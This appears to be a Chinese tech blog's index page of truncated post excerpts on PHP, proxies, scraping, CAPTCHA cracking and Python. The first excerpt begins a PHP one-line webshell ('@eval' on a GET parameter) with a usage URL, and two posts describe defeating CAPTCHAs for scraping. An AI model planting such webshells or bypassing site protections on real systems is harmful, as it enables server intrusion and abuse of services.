php木马
最近参加了一次网络攻防大赛的培训。学到了不少知识，挺好的。 php的一句话木马 <?php // 这是一个GET版本的木马 // 用法是 http://domain/cmdget.php?cmd=phpinfo();exit(); @eval($_G […]
wnmp启停脚本
windows下启动mysql、php、nginx ::关闭回显 @echo off set WNMP_HOME=C:/wnmp set NGINX_HOME=C:/wnmp/nginx-1.14.0 set PHP_HOME=C:/wnmp/php-7. […]
【自转】squid + stunnel, fuck the G※F※W
去年写过一篇文章关于用squid + stunnel搭建加密的代理服务器（http://www.hawu.me/operation/886），然后因为涉及“不正当获取国外互联网信息”而被阿里云封杀了，简直日了狗了。技术是无罪的。 原文内容如下面截图，我想阿 […]
站内信的数据库设计
站内信现在几乎可以说是任何一套web系统的标配模块，那怎么样设计一个优雅的站内信模块呢。 首先，我们将站内信区分一下： 点到点：一对一发送的站内信，比如用户A发给用户B的消息，或者系统发给用户A的通知。type=private 点到多：一对多发送的站内信， […]
POST提交数据的方式
最近第一次使用vuejs做前端，用axios库来做表单的提交，结果发现php后台的$_POST是一个空数组，无法获取提交过来的数据。 查了一下，发现这个前端POST提交数据的方式有关。 1. 默认的application/x-www-form-urlenc […]
破解geetest的拖动验证码
最近有个项目需要爬取“国家企业信用信息公示系统”的数据，在该网站点击搜索按钮时，会弹出极验（geetest）的拖动式验证码。 遂一番google之，发现果然有哥们已经破解了这套验证码系统，甚至放出源码来了。学以致用。 原理很简单，首先定位缺口的位置，然后驱 […]
注意！crontab的环境变量并非用户环境变量
今天发现爬虫脚本的一个问题：“直接在shell下运行的话，爬SIPO网站的数据得到的是中文；但是在crontab中启动的脚本爬出来的数据却是英文。”想了好半天，怀疑是环境的问题，然后一查，果然有好多人提到。原来crontab的环境变量跟用户的环境变量是不一 […]
用 Python 装饰器写一个single instance
一、关于python的装饰器 python装饰器的形式有点像java的注解、用处有点像java的切面。可以简单的理解为一个函数如果被装饰器注解了，那么在运行该函数之前，会先调用装饰器函数。 具体的参考如下两篇文章： https://www.zhihu.co […]
pytesseract识别验证码
验证码破解是做爬虫经常要面对的问题。对于一般字符串或者算式的验证码，可以使用网页截图，然后OCR识别的方式来识别出验证码字符串来。 网页截图可以使用selenium的save_screenshot()方法； 用PIL图像处理库来截取验证码图片； 用Tess […]